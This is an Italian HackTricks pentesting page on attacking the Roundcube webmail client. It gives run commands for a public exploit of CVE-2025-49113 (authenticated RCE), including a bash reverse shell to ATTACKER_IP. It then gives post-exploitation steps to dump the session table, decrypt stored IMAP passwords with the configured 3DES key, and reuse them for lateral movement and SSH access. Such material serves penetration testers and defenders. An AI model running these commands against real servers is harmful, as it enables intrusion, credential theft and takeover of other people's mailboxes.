Roundcube

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Panoramica

Roundcube è un client webmail PHP comunemente esposto su vhost HTTP(S) (es., mail.example.tld). Useful fingerprints:

  • Il sorgente HTML spesso leaks rcversion (es., window.rcmail && rcmail.env.rcversion)
  • Percorso app predefinito in containers/VMs: /var/www/html/roundcube
  • Config principale: config/config.inc.php

Authenticated RCE via PHP object deserialization (CVE-2025-49113)

Versioni interessate (per vendor/NVD):

  • 1.6.x before 1.6.11
  • 1.5.x before 1.5.10

Riepilogo del bug

  • Il parametro _from in program/actions/settings/upload.php non è validato, consentendo l’injection di attacker‑controlled data che Roundcube successivamente unserializes, portando a gadget chain execution e remote code execution nel contesto web (post‑auth).

Sfruttamento rapido

  • Requisiti: credenziali Roundcube valide e un URL dell’UI raggiungibile (es., http://mail.target.tld)
  • PoC pubblico automatizza session handling, gadget crafting e upload flow
git clone https://github.com/hakaioffsec/CVE-2025-49113-exploit.git
php CVE-2025-49113.php http://mail.target.tld USER PASS CMD

# examples
php CVE-2025-49113.php http://mail.target.tld user 'pass' "id"
# blind timing proof
time php CVE-2025-49113.php http://mail.target.tld user 'pass' "sleep 5"

# reverse shell
nc -nvlp 443
php CVE-2025-49113.php http://mail.target.tld user 'pass' \
"bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1'"

Notes

  • L’output è spesso non visibile; usa sleep N per verificare RCE
  • La shell risultante tipicamente gira come www-data; su deployment containerizzati aspettati /.dockerenv e la rete 172.17.0.0/16

Post‑exploitation: recuperare le password IMAP dalle sessioni di Roundcube

Roundcube memorizza la password IMAP dell’utente corrente nella sessione (database) cifrata con la chiave 3DES lato server configurata in config.inc.php. Con accesso al filesystem o al DB sull’host Roundcube puoi recuperare le password in chiaro e pivotare verso altre caselle/servizi (il riutilizzo di SSH è comune).

  1. Leggi il DB DSN e la chiave 3DES dal file di config

config/config.inc.php tipicamente contiene:

$config['db_dsnw'] = 'mysql://roundcube:DB_PASS@localhost/roundcube';
$config['des_key'] = 'rcmail-!24ByteDESkey*Str'; // 24‑byte key (3DES)
  1. Connettersi al DB e dump sessions
mysql -u roundcube -p roundcube
# or: mysql -u roundcube -pDB_PASS roundcube

mysql> SELECT id, created, changed, vars FROM session\G

Il campo session.vars è un blob Base64 prodotto da Roundcube’s encrypt(): Base64( IV || 3DES-CBC(plaintext) ). I primi 8 byte dopo Base64‑decoding sono l’IV.

  1. Individua il campo password

Un modo rapido per individuare la credential all’interno della struttura decrittata è prima effettuare una Base64‑decode del campo vars ed esaminare a occhio le voci serializzate:

echo 'BASE64_FROM_VARS' | base64 -d | tr ';' '\n' | grep -i password
  1. Decriptare usando l’helper di Roundcube

Roundcube fornisce una CLI che usa la stessa logica rcmail->decrypt() e la des_key configurata:

cd /var/www/html/roundcube
./bin/decrypt.sh CIPHERTEXT_BASE64
# -> prints plaintext
  1. Decifratura manuale 3DES-CBC (opzionale)
  • Formato del testo cifrato: Base64( IV(8B) || CT )
  • Alg: 3DES-CBC, lunghezza chiave 24B, PKCS#7 padding
from base64 import b64decode
iv_ct = b64decode('hcVCSNXOYgUXvhArn1a1OHJtDck+CFME')
iv, ct = iv_ct[:8], iv_ct[8:]
print(iv.hex(), ct.hex())
# decrypt(ct) with key = $config['des_key'], IV = iv

Posizioni comuni

  • Tabella DB: session (users table mappa i nomi di login agli ID)
  • Percorso di configurazione: /var/www/html/roundcube/config/config.inc.php

Uso operativo

  • Righe più vecchie della tabella session spesso contengono le password IMAP di utenti precedenti; decifra più voci per muoverti lateralmente in altre caselle di posta
  • Prova le credenziali recuperate su SSH o altri servizi se sospetti il riuso delle credenziali

Riferimenti

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks